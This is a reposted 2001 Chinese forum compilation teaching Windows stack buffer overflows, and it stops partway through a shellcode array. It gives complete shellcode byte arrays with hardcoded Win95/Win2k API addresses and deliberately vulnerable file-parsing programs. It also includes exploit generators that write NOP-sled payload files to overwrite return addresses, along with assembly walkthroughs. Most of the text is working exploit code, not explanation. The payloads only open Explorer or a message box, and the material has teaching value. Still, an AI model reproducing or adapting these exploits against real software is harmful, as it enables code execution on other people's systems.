创建时间:2001-06-30
文章属性:转载
文章来源:http://go4.163.com/watercloud/
文章提交:quack (quack_at_xfocus.org)
post by cloud (safesuite@263.net)
最近刚研究了WIN平台的溢出,在openlab(61.150.43.7) VC版贴过.后来整理了一下
下载win_of.zip
题目有:
01 一种函数跳转方式
02 Re 一种函数跳转方式.txt
03 Re Re 一种函数跳转方式.txt
04 在C中嵌入机器码的一种方式.txt
05 Re 在C中嵌入机器码的一种方式.txt
06 C程序中执行机器码的另一方式_缓冲溢出.txt
07 C程序中执行机器码的另一方式_缓冲溢出2 For Win2k.txt
08 Win平台上如何写ShellCode.txt
09 缓冲边界未作检查的BUG程序.txt
10 攻击上一个BUG程序.txt
11 溢出程序说明.txt
12 针对BUG_C Win2k下的溢出程序.txt
13 windows下越界一个字节也能导致溢出攻击.txt
14 另一种溢出方式 JMP ESP.txt
15 若将Bug_c中memcpy改为strcpy后的攻击方法.txt
16 改为strcpy后对bug_c的攻击程序For_win2k.txt
17 如果一个网络服务器程序没有检查边界的话 _ _.txt
18 攻击上一个bug_service_c的攻击程序.txt
19 在Solaris For Spac芯片上的溢出.txt
20 Solaris For Spac上的栈情况.txt
21 脱离AppWizard和ClassWizard使用MFC.txt
------------------------------------------------------------------------------------------------------
【Visual C++】:一种函数跳转方式一种函数跳转方式
cloud (cloud) 2001-6-12 18:25:35
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
#include<windows.h>
int t(int x,int y)
{
_asm
{
mov eax,dword ptr[ebp+8]
add eax,dword ptr[ebp+12]
}
}
int test(int x,int y)
{
_asm
{
pop edi
pop esi
pop ebx
pop ebp
push offset t
ret 0
}
}
int main()
{
printf(" 30+40 = %i/n",test(30,40));
return 0;
}
-----------
【Visual C++】:Re: 一种函数跳转方式Re: 一种函数跳转方式
cloud (cloud) 2001-6-13 16:28:30
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
调用test后在test中修改了堆栈返回地址为t的入口地址
test返回后实际上就进入了t()此时堆栈已经是正常调用t
的形态,返回地址为调用test应该正确返回的地址,因此
实际上调用了t并在t中完成了加运算.之后正确返回!
【在 SmallHill (小山) 的大作中提到:】
can you give a explain o k ? thanks.【在 cloud (cloud)
-----------
【Visual C++】:Re: 一种函数跳转方式Re: 一种函数跳转方式
cloud (cloud) 2001-6-15 19:57:33
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
;cl /Fa t.c 编译完成,一切正常没有出现错误!
;另由于我英语很烂,能不能说中文,这样可能大家好交流一下.
TITLE t.c
.386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
$$SYMBOLS SEGMENT BYTE USE32 'DEBSYM'
$$SYMBOLS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif
INCLUDELIB LIBC
INCLUDELIB OLDNAMES
PUBLIC _t
; Function compile flags: /Odt
_TEXT SEGMENT
_x$ = 8
_y$ = 12
_t PROC NEAR
; File c:/work/asm-c/t.c
; Line 3
push ebp
mov ebp, esp
; Line 8
mov eax, DWORD PTR [ebp+8]
; Line 9
add eax, DWORD PTR [ebp+12]
; Line 12
pop ebp
ret 0
_t ENDP
_TEXT ENDS
PUBLIC _test
; Function compile flags: /Odt
_TEXT SEGMENT
_x$ = 8
_y$ = 12
_test PROC NEAR
; Line 14
push ebp
mov ebp, esp
push ebx
push esi
push edi
; Line 17
pop edi
; Line 18
pop esi
; Line 19
pop ebx
; Line 20
pop ebp
; Line 22
push OFFSET FLAT:_t
; Line 24
ret 0
; Line 27
pop edi
pop esi
pop ebx
pop ebp
ret 0
_test ENDP
_TEXT ENDS
PUBLIC _main
EXTRN _printf:NEAR
_DATA SEGMENT
$SG52880 DB ' 30+40 = %i', 0aH, 00H
; Function compile flags: /Odt
_DATA ENDS
_TEXT SEGMENT
_main PROC NEAR
; Line 30
push ebp
mov ebp, esp
; Line 31
push 40 ; 00000028H
push 30 ; 0000001eH
call _test
add esp, 8
push eax
push OFFSET FLAT:$SG52880
call _printf
add esp, 8
; Line 32
xor eax, eax
; Line 33
pop ebp
ret 0
_main ENDP
_TEXT ENDS
END
.
【在 SmallHill (小山) 的大作中提到:】
please look at the following pa...
※编辑: cloud 于 2001-6-15 20:01:04 在 [202.117.82.4] 编辑本文
-----------
【Visual C++】:在C中嵌入机器码的一种方式在C中嵌入机器码的一种方式
cloud (cloud) 2001-6-15 20:16:10
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
以下程序用VC6.0 CL编译器编译
编译参数 : cl test.c /link kernel32.lib
程序在Win95下测试通过,运行结果:打开一个资源管理器
简要说明:
机器码在程序函数test中buffer里
在test中通过
push addr buffer ; push ebp-80
ret 0
跳入机器码
这段代码如下工作
push addr string1 ; string1 : "shell32.dll"
call LoadLibrary
invoke ShellExecute NULL,addr string2,0,0,0,5 ; string2 : "open" 打开资源管理器
push addr ExitProcess
ret 0 ;结束进程
#include<stdio.h>
#include<windows.h>
int test()
{
// Follow Addr Tested on Windows95
//LoadLibrary Addr: 0BFF775F3h
//GetProcAddress Addr: 0BFF76DD8h
//ShellExecute Addr: 07FDE9211h
//ExitProcess Addr: 0bff8b191h
char buffer[80]=
{
0xEB,0x1E, //jmp @call
0x5D, //pop ebp @jm
0x55, //push ebp
0xFF,0x55,0x11, //call dword ptr [ebp+11h]
0x6A,0x05, //push 5
0x6A,0x00, //push 0
0x6A,0x00, //push 0
0x6A,0x00, //push 0
0x8B,0xC5, //mov eax,ebp
0x83,0xC0,0x0C, //add eax,0Ch
0x50, //push eax
0x6A,0x00, //push 0
0xFF,0x55,0x15, //call dword ptr [ebp+15h]
0x68,0x91,0xB1,0xF8,0xBF, //push 0BFF8B191h ExitProcess 地址
0xC3, //ret
0xE8,0xDD,0xFF,0xFF,0xFF, //call @jm @call
's','h','e','l','l','3','2','.','d','l','l',0,
'o','p','e','n',0,
0xf3,0x75,0xf7,0xbf, //LoadLibrary 地址
0x11,0x92,0xde,0x7f //ShellExecute 地址
};
_asm
{
pop edi
pop esi
pop ebx
sub ebp,80
push ebp
ret 0
}
}
void main()
{
HINSTANCE hw = LoadLibrary("user32.dll");
// FARPROC fp = GetProcAddress(hw,"ShellExecute");
// ShellExecute(0,"open",0,0,0,5);
// printf("ShellExecute addr :%p",ShellExecute);
/* printf("LoadLibrary Addr :%p/n",LoadLibrary);
fp = GetProcAddress(hw,"GetProcAddress");
printf("GetProcAddress Addr: %p/n",fp);
printf("GetProcAddress Addr: %p/n",GetProcAddress);
*/
printf("%i/n",test());
}
-----------
【Visual C++】:Re: 在C中嵌入机器码的一种方式Re: 在C中嵌入机器码的一种方式
cloud (cloud) 2001-6-16 18:15:50
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
test() 正确返回代码已经被我截获
test()
{
}
对应为:
;test()
;{
push ebp
mov ebp,esp ; 现在ebp+4 处为test返回地址
sub esp,80 ;为buffer[80]留空间 过ebp-80处为buffer[0]地址
. . . . . . .
; test()准备返回
add esp,80 ;修正esp dword ptr [ esp] 为 保存的ebp值 dword ptr[esp+4] 为 test返回地址
pop ebp ;现在栈顶为test返回值
ret 0 ;返回调用test的main函数中
;}
而
_asm
{
}
对应汇编为
;_asm
;{
push ebx
push esi
push edi
. . . .
pop edi
pop esi
pop ebx
;}
现在是
test()
{
char buffer[80];
_asm
{
pop edi ;抵消 _asm进入时加入的三个push
pop esi
pop ebx
sub ebp,80 ;ebp现在为buffer入口
push ebp ;现在栈顶为buffer入口地址 下条ret 将以此地址作为返回地址,进入buffer
ret 0 ;进入buffer ,注意ret 之后esp+80也是buffer尾部 esp+84是ebp esp+88是test
;正确返回地址
}
}
在buffer中的代码有如下 这部分相当是test()函数最后准备返回时的代码,参加上面test()
add esp,80 ;现在栈顶是ebp
pop ebp ;现在栈顶是test返回地址
ret 0 ;正确返回 好了又回到了main()
还有win32中是32位已经是在同一个线性空间cs;ss;ds等已经失去dos下ss:sp cs:ip
等功能,而是直接在空间中以eip, esp等来寻址 当然用能到堆栈中执行
真正有难度的东东是机器嘛那一段,想想里面有需要的string,而且还要string的地址
解觉办法是依赖jmp 和call ,他们都是用相对当前地址跳转,尤其是call 会保存下一条指令地址
我们把string放在call的下面call调用后就会在栈顶压入string的地址 ^_*
那段机器码如下
jmp sh_call ;在sh_call处是 call sh_jm 有回来了!! 但此时已压入了string的地址
sh_jm:
pop ebp ; ebp中为string的地址
. . . . . . .
sh_call:
call sh_jm
string db . . . .
编译参数没什么意义就是让程序能编译通过
附cl产生的汇编程序
都可以在 ftp://202.117.82.4/asm/asm-c/下找到
; Listing generated by Microsoft (R) Optimizing Compiler Version 13.00.8905
TITLE shellcode2.c
.386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
$$SYMBOLS SEGMENT BYTE USE32 'DEBSYM'
$$SYMBOLS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif
INCLUDELIB LIBC
INCLUDELIB OLDNAMES
PUBLIC _test
; Function compile flags: /Odt
_TEXT SEGMENT
_buffer$ = -80
_test PROC NEAR
; File c:/work/asm-c/shellcode2.c
; Line 4
push ebp
mov ebp, esp
sub esp, 80 ; 00000050H
push ebx
push esi
push edi
; Line 14
mov BYTE PTR _buffer$[ebp], -21 ; ffffffebH
mov BYTE PTR _buffer$[ebp+1], 36 ; 00000024H
; Line 15
mov BYTE PTR _buffer$[ebp+2], 93 ; 0000005dH
; Line 16
mov BYTE PTR _buffer$[ebp+3], 104 ; 00000068H
mov BYTE PTR _buffer$[ebp+4], -57 ; ffffffc7H
mov BYTE PTR _buffer$[ebp+5], -3 ; fffffffdH
mov BYTE PTR _buffer$[ebp+6], 99 ; 00000063H
mov BYTE PTR _buffer$[ebp+7], 0
; Line 17
mov BYTE PTR _buffer$[ebp+8], -1
mov BYTE PTR _buffer$[ebp+9], 85 ; 00000055H
mov BYTE PTR _buffer$[ebp+10], 17 ; 00000011H
; Line 19
mov BYTE PTR _buffer$[ebp+11], -125 ; ffffff83H
mov BYTE PTR _buffer$[ebp+12], -8 ; fffffff8H
mov BYTE PTR _buffer$[ebp+13], 0
; Line 20
mov BYTE PTR _buffer$[ebp+14], 116 ; 00000074H
mov BYTE PTR _buffer$[ebp+15], 17 ; 00000011H
; Line 22
mov BYTE PTR _buffer$[ebp+16], 106 ; 0000006aH
mov BYTE PTR _buffer$[ebp+17], 5
; Line 23
mov BYTE PTR _buffer$[ebp+18], 106 ; 0000006aH
mov BYTE PTR _buffer$[ebp+19], 0
; Line 24
mov BYTE PTR _buffer$[ebp+20], 106 ; 0000006aH
mov BYTE PTR _buffer$[ebp+21], 0
; Line 25
mov BYTE PTR _buffer$[ebp+22], 106 ; 0000006aH
mov BYTE PTR _buffer$[ebp+23], 0
; Line 28
mov BYTE PTR _buffer$[ebp+24], -125 ; ffffff83H
mov BYTE PTR _buffer$[ebp+25], -59 ; ffffffc5H
mov BYTE PTR _buffer$[ebp+26], 12 ; 0000000cH
; Line 29
mov BYTE PTR _buffer$[ebp+27], 85 ; 00000055H
; Line 30
mov BYTE PTR _buffer$[ebp+28], 106 ; 0000006aH
mov BYTE PTR _buffer$[ebp+29], 0
; Line 32
mov BYTE PTR _buffer$[ebp+30], -1
mov BYTE PTR _buffer$[ebp+31], 85 ; 00000055H
mov BYTE PTR _buffer$[ebp+32], 9
; Line 34
mov BYTE PTR _buffer$[ebp+33], -125 ; ffffff83H
mov BYTE PTR _buffer$[ebp+34], -60 ; ffffffc4H
mov BYTE PTR _buffer$[ebp+35], 80 ; 00000050H
; Line 35
mov BYTE PTR _buffer$[ebp+36], 93 ; 0000005dH
; Line 36
mov BYTE PTR _buffer$[ebp+37], -61 ; ffffffc3H
; Line 37
mov BYTE PTR _buffer$[ebp+38], -24 ; ffffffe8H
mov BYTE PTR _buffer$[ebp+39], -41 ; ffffffd7H
mov BYTE PTR _buffer$[ebp+40], -1
mov BYTE PTR _buffer$[ebp+41], -1
mov BYTE PTR _buffer$[ebp+42], -1
; Line 38
mov BYTE PTR _buffer$[ebp+43], 115 ; 00000073H
mov BYTE PTR _buffer$[ebp+44], 104 ; 00000068H
mov BYTE PTR _buffer$[ebp+45], 101 ; 00000065H
mov BYTE PTR _buffer$[ebp+46], 108 ; 0000006cH
mov BYTE PTR _buffer$[ebp+47], 108 ; 0000006cH
mov BYTE PTR _buffer$[ebp+48], 51 ; 00000033H
mov BYTE PTR _buffer$[ebp+49], 50 ; 00000032H
mov BYTE PTR _buffer$[ebp+50], 46 ; 0000002eH
mov BYTE PTR _buffer$[ebp+51], 100 ; 00000064H
mov BYTE PTR _buffer$[ebp+52], 108 ; 0000006cH
mov BYTE PTR _buffer$[ebp+53], 108 ; 0000006cH
mov BYTE PTR _buffer$[ebp+54], 0
; Line 39
mov BYTE PTR _buffer$[ebp+55], 111 ; 0000006fH
mov BYTE PTR _buffer$[ebp+56], 112 ; 00000070H
mov BYTE PTR _buffer$[ebp+57], 101 ; 00000065H
mov BYTE PTR _buffer$[ebp+58], 110 ; 0000006eH
mov BYTE PTR _buffer$[ebp+59], 0
; Line 40
mov BYTE PTR _buffer$[ebp+60], -13 ; fffffff3H
mov BYTE PTR _buffer$[ebp+61], 117 ; 00000075H
mov BYTE PTR _buffer$[ebp+62], -9 ; fffffff7H
mov BYTE PTR _buffer$[ebp+63], -65 ; ffffffbfH
; Line 41
mov BYTE PTR _buffer$[ebp+64], 17 ; 00000011H
mov BYTE PTR _buffer$[ebp+65], -110 ; ffffff92H
mov BYTE PTR _buffer$[ebp+66], -34 ; ffffffdeH
; Line 42
mov BYTE PTR _buffer$[ebp+67], 127 ; 0000007fH
xor eax, eax
mov DWORD PTR _buffer$[ebp+68], eax
mov DWORD PTR _buffer$[ebp+72], eax
mov DWORD PTR _buffer$[ebp+76], eax
; Line 46
pop edi
; Line 47
pop esi
; Line 48
pop ebx
; Line 55
sub ebp, 80 ; 00000050H
; Line 56
push ebp
; Line 57
ret 0
; Line 60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
_test ENDP
_TEXT ENDS
PUBLIC _main
EXTRN _printf:NEAR
_DATA SEGMENT
$SG53167 DB '%i', 0aH, 00H
; Function compile flags: /Odt
_DATA ENDS
_TEXT SEGMENT
_main PROC NEAR
; Line 62
push ebp
mov ebp, esp
; Line 75
call _test
push eax
push OFFSET FLAT:$SG53167
call _printf
add esp, 8
; Line 77
xor eax, eax
pop ebp
ret 0
_main ENDP
_TEXT ENDS
END
※编辑: cloud 于 2001-6-16 18:47:15 在 [202.117.82.4] 编辑本文
-----------
【Visual C++】:C程序中执行机器码的另一方式_缓冲溢出C程序中执行机器码的另一方式_缓冲溢出
cloud (cloud) 2001-6-27 11:04:29
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
下列程序在test( )中memcpy后造成buffer越界覆盖了test的返回地址
我们在buff中返回地址处填入了buffer开始处附近的地址,并在buffer前部放入大量NOP指令
这样test( ) 返回时我们的机器码将被执行
运行结果: 打开一个资源管理器.
/*
Name : Self_Ex.c
Testd : Windows95
by cloud 2001-6-3
*/
#include <windows.h>
char shellcode[92]=
{
0xEB,0x38,0x5D,0x33,0xc0,0x66,0xb8,0xe8,0x03,0x2b,0xe0,0x33,
0xC0,0x88,0x45,0x0B,0x88,0x45,0x10,0x88,0x45,0x1b,0x55,0xFF,
0x55,0x11,0x33,0xDB,0x3B,0xC3,0x74,0x14,0x6A,0x05,0x53,0x53,
0x55,0x58,0x83,0xc0,0x19,0x50,0x83,0xC5,0x0C,0x55,0x33,0xDB,
0x53,0xFF,0x55,0x09,0x68,0x91,0xb1,0xf8,0xbf,0xC3,0xE8,0xc3,
0xFF,0xFF,0xFF,
's','h','e','l','l','3','2','.','d','l','l','0',
'o','p','e','n','0',
0xf3,0x75,0xf7,0xbf,
0x11,0x92,0xde,0x7f,
'c',':','0','/0'
};
char buff[500];
char message[100];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
DWORD getesp()
{
__asm mov eax,esp
}
void test()
{
char buffer[256];
memcpy(buffer,buff,sizeof(buff));
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
addr = getesp();
addr = addr - 200;
cp = (unsigned char *) buff;
for(i=0;i<256 - 92 ;i++,cp ++ )
{
*cp = 0x90;
}
for(i=0;i<92;i++,cp++)
{
*cp = shellcode[i];
}
lp = (unsigned long *)cp;
for(i=0;i<40; i++,lp++)
{
* lp = addr;
}
test();
MessageBox(NULL,"WinMain END ,RETURN!","WinMain",MB_OK);
return 0;
}
-----------
【Visual C++】:C程序中执行机器码的另一方式_缓冲溢出2 For Win2kC程序中执行机器码的另一方式_缓冲溢出2 For
Win2k
cloud (cloud) 2001-6-27 11:10:40
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
如下程序同上
运行结果同于期望值,机器码被执行.
机器码执行结果: 弹出Message对话筐显示: From Binnar Code. 然后调用ExitProcess( )
/*
Name : Self_Ex_win2k.c
Test : Win2k pro sp1
by cloud 2001-6-12
*/
#include <windows.h>
#include <stdio.h>
char file_buffer[500];
int i;
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
unsigned char shellcode[108]=
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xB8 ,0xE8 ,0x03 ,0x2B ,0xE0 ,0x33 ,0xDB ,0xB3 ,0x0C,
0x4b ,0x4b ,0x33 ,0xC0 ,0x88 ,0x04 ,0x2B ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68 ,0x73,
0x72 ,0xE6 ,0x77 ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53 ,0x8B ,0xC5 ,0x83 ,0xC0,
0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68 ,0x2D ,0xF3 ,0xE6 ,0x77 ,0x68 ,0x7E ,0x73,
0xE0 ,0x77 ,0xC3 ,0xE8 ,0xbe ,0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
DWORD getesp()
{
__asm mov eax,esp
__asm add eax,8
}
void test()
{
char line_buffer[256];
addr = getesp(); //addr -- addr + buffer_len -shellcode_len : NOP
addr = addr + 256 - sizeof(shellcode) -8;
cp = (unsigned char *) line_buffer;
for(i=0;i<256 - sizeof(shellcode) ;i++,cp ++ )
{
*cp = 0x90;
}
for(i=0;i< sizeof(shellcode);i++,cp++)
{
*cp = shellcode[i];
}
lp = (unsigned long *)cp;
* lp = addr;
lp++;
* lp = addr;
//MessageBox(0,"Test END,RETURN!","Test",0);
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
test();
MessageBox(NULL,"WinMain END ,RETURN!","WinMain",MB_OK);
return 0;
}
-----------
【Visual C++】:Win平台上如何写ShellCodeWin平台上如何写ShellCode
cloud (cloud) 2001-6-27 19:59:39
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
Unix上shellcode的编写已经讲了很多文章了
windows上也基本相同
不过编写前我们得要知道我们所须的系统调用的地址
如何得到地址??
很简单
#include<windows.h>
#include<stdio.h>
char buffer[256];
void main()
{
sprintf(buffer,"MessageBoxA: %p/nExitProcess: %p/nLoadLibraryA %
p/n",MessageBoxA,ExitProcess,LoadLibraryA); //哈哈,看到没又是一个不严格的检查 ^_*
MessageBox(0,buffer,"ADDR",0);
}
编译 cl addr.c /link user32.lib
运行吧! 看到了什么?? 快记录下来吧!!
For Win2k pro sp1
;//LoadLibraryA 77e67273 For Win95 0BFF775F3h
;//MessageBoxA 77e0737e For Win95 0BFF638D9h
;//ExitProcess 77e6f32d For Win95 0bff8b191h
有了地址又如何? 看看下列汇编吧!!
不过得记住最后的机器码中不能有/0 /n等特殊字符,所以得要吧很多东东改改
如user32.dll/0 中的/0就不行而是用'0' 然后在汇编中mov 一个 0进去!!
jmp ca
jm:
pop ebp ;得到字符窜的起始地址
xor eax,eax ;以下三行是为了 sub esp,1000 但直接的sub esp,1000 中有两个/0 没办法改为3行
mov ax,1000 ;想想为何要 -1000 ;当看看这段代码执行时esp在其顶部一点点,没几个push
sub esp,eax ;就把自己给覆盖了行吗??? 当然要 -1000 了
xor ebx,ebx ;以下的4行是为了mov byte ptr[ebp+ebx],al 因为其偏移为/n 没办法改改就
mov bl,12 ; 成了现在这样
dec ebx
dec ebx
xor eax,eax ;以下4行是给字符窜尾附/0
mov byte ptr[ebp+ebx],al
mov byte ptr[ebp+18],al
mov byte ptr[ebp+36],al
push 0BFF775F3h ;LoadLibraryA
push ebp ;LoadLibrayA的参数指向"user32.dll"
call DWORD ptr[esp+4] ;调用LoadLibraryA
xor ebx,ebx
push ebx ; MB_OK
mov eax,ebp
add eax,11 ; message title
push eax
add eax,8
push eax ; "From Binnar Code."
push ebx ;NULL
push 0bff8b191h ;ExitProcess return by MessageBoxA
push 0BFF638D9h ;MessageBoxA
ret 0 ;返回到MessageBoxA 而MessageBoxA返回时看看,到了 ExitProcess
ca:
call jm
db "user32.dll",'0 ' ; 10+1
db "MESSAGE",'0 ' ; 7+1
db "From Binnar Code.",'0' ; 17+1
放到汇编里编译然后
dumpbin /disasm ??.exe > a.txt
用记事本打开a.txt 看看我们就能得到所要的机器码:弹出对话筐显示信息,然后退出进程
整理以下就可以得到如下机器码
char shellcode[108]=
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53,
0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
最后3个'N'是填充,因为分配空间为4的辈数所以我们的code也为4的辈数比较好写溢出程序啦
※编辑: cloud 于 2001-6-27 20:04:14 在 [202.117.82.4] 编辑本文
-----------
【Visual C++】:缓冲边界未作检查的BUG程序缓冲边界未作检查的BUG程序
cloud (cloud) 2001-6-27 11:21:20
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
当程序在检查缓冲区长度上做的不好时往往使用strcpy等函数,没有检查buffer长度.
这就给我们可成之机.
如下列程序 本来进行文本文件处理__学生成绩
默认是每行一个信息包含: 姓名:学好:语文成绩:数学成绩: . . . . /n
在main()中将整个文件或前500字节读入file_buffer
后调用test() test()本意是处理一行 一个学生信息.
当打开的文件是学生正常数据文件时一切正常,但想想我们把该文件删除后
自己精心制作一个文件改名同于数据文件名会如何
^_&
/*
Name : bug.c
by cloud 2001-6-4
*/
#include <windows.h>
#include <stdio.h>
char file_buffer[500];
int i;
void test()
{
char line_buffer[256];
for(i=0;file_buffer[i]!='/n'; line_buffer[i]=file_buffer[i++] );
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
FILE * f = fopen("datafile.dat","rb");
long len;
if(f == NULL)
{
MessageBox(0,"打开文件失败!","WinMain BUG",MB_OK);
return -1;
}
fseek(f,0,SEEK_END);
len = ftell(f);
fseek(f,0,SEEK_SET);
if(len > sizeof(file_buffer))
len = sizeof(file_buffer);
if( fread(file_buffer,1,len,f) != len)
{
MessageBox(0,"读文件失败!","WinMain BUG",MB_OK);
fclose(f);
return -2;
}
fclose(f);
test();
MessageBox(NULL,"WinMain END ,RETURN!","WinMain",MB_OK);
return 0;
}
-----------
【Visual C++】:攻击上一个BUG程序攻击上一个BUG程序
cloud (cloud) 2001-6-27 11:28:08
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
我们通过如下程序精心制作一个数据文件让bug.c去处理
结果将使得我们的机器码被执行,执行结果为:打开一个资源管理器,然后调用ExitProcess()
程序基本点:每个程序执行到main()时栈区起始地址相同,由此来猜测对方buffer地址,然后用此地址
覆盖返回地址,由于可能不精确,故在buffer开始处放入大量NOP指令,只要到达NOP区域就可保证
我们的机器码被执行.
运行时先用此程序生成数据文件,再将数据文件拷入bug.exe目录,再执行bug.exe就可以看到资源
管理器.
编译参数: bug.c ex_bug.c
cl file_name.c /link user32.lib
/*
Name : Ex_bug.c
Tested: Windows95
by cloud 2001-6-4
*/
#include <windows.h>
#include <stdio.h>
char shellcode[92]=
{
0xEB,0x38,0x5D,0x33,0xc0,0x66,0xb8,0xe8,0x03,0x2b,0xe0,0x33,
0xC0,0x88,0x45,0x0B,0x88,0x45,0x10,0x88,0x45,0x1b,0x55,0xFF,
0x55,0x11,0x33,0xDB,0x3B,0xC3,0x74,0x14,0x6A,0x05,0x53,0x53,
0x55,0x58,0x83,0xc0,0x19,0x50,0x83,0xC5,0x0C,0x55,0x33,0xDB,
0x53,0xFF,0x55,0x09,0x68,0x91,0xb1,0xf8,0xbf,0xC3,0xE8,0xc3,
0xFF,0xFF,0xFF,
's','h','e','l','l','3','2','.','d','l','l','0',
'o','p','e','n','0',
0xf3,0x75,0xf7,0xbf,
0x11,0x92,0xde,0x7f,
'c',':','0','/0'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
//unsigned long * p;
DWORD getesp()
{
__asm mov eax,esp
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
FILE * f = fopen("datafile.dat","wb");
if(f == NULL)
{
MessageBox(0,"打开文件失败!","WinMain Ex",MB_OK);
return -1;
}
addr = getesp();
addr = addr - 200;
cp = (unsigned char *) buff;
for(i=0;i<256 - 92 ;i++,cp ++ )
{
*cp = 0x90;
}
for(i=0;i<92;i++,cp++)
{
*cp = shellcode[i];
}
lp = (unsigned long *)cp;
for(i=0;i<40; i++,lp++)
{
* lp = addr;
}
cp = (char *)lp;
*cp = '/n';
if(fwrite(buff,1,sizeof(buff),f) != sizeof(buff))
MessageBox(0,"写文件失败!","WinMain Ex",MB_OK);
fclose(f);
return 0;
}
-----------
【Visual C++】:溢出程序说明溢出程序说明
cloud (cloud) 2001-6-27 11:32:58
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
溢出前堆栈如下
高地址 ---- > 低地址
[ret][ebp][buffer]
ret:函数返地址回
溢出后如下
[ret][ebp][ ( binnar_code)(NOP NOP NOP .....)]
| |
---------------------------------------
【Visual C++】:针对BUG.C Win2k下的溢出程序针对BUG.C Win2k下的溢出程序
cloud (cloud) 2001-6-28 18:44:36
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
/* bug.c
*/
#include <windows.h>
#include <stdio.h>
char file_buffer[500];
int i;
char buff[256];
void test()
{
char line_buffer[256];
/* . . . .*/
memcpy(line_buffer,file_buffer,sizeof(file_buffer));
/* . . . . */
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
FILE * f = fopen("datafile2.dat","rb");
long len;
if(f == NULL)
{
MessageBox(0,"打开文件失败!","WinMain BUG",MB_OK);
return -1;
}
fseek(f,0,SEEK_END);
len = ftell(f);
fseek(f,0,SEEK_SET);
if(len > sizeof(file_buffer))
len = sizeof(file_buffer);
if( fread(file_buffer,1,len,f) != len)
{
MessageBox(0,"读文件失败!","WinMain BUG",MB_OK);
fclose(f);
return -2;
}
fclose(f);
test();
MessageBox(NULL,"WinMain END ,RETURN!","WinMain",MB_OK);
return 0;
}
溢出攻击程序For Win2k
/*
Name : ex2.c
Tested: Win2k pro sp1
by cloud
*/
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[108]=
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xB8 ,0xE8 ,0x03 ,0x2B ,0xE0 ,0x33 ,0xDB ,0xB3 ,0x0C,
0x4b ,0x4b ,0x33 ,0xC0 ,0x88 ,0x04 ,0x2B ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68 ,0x73,
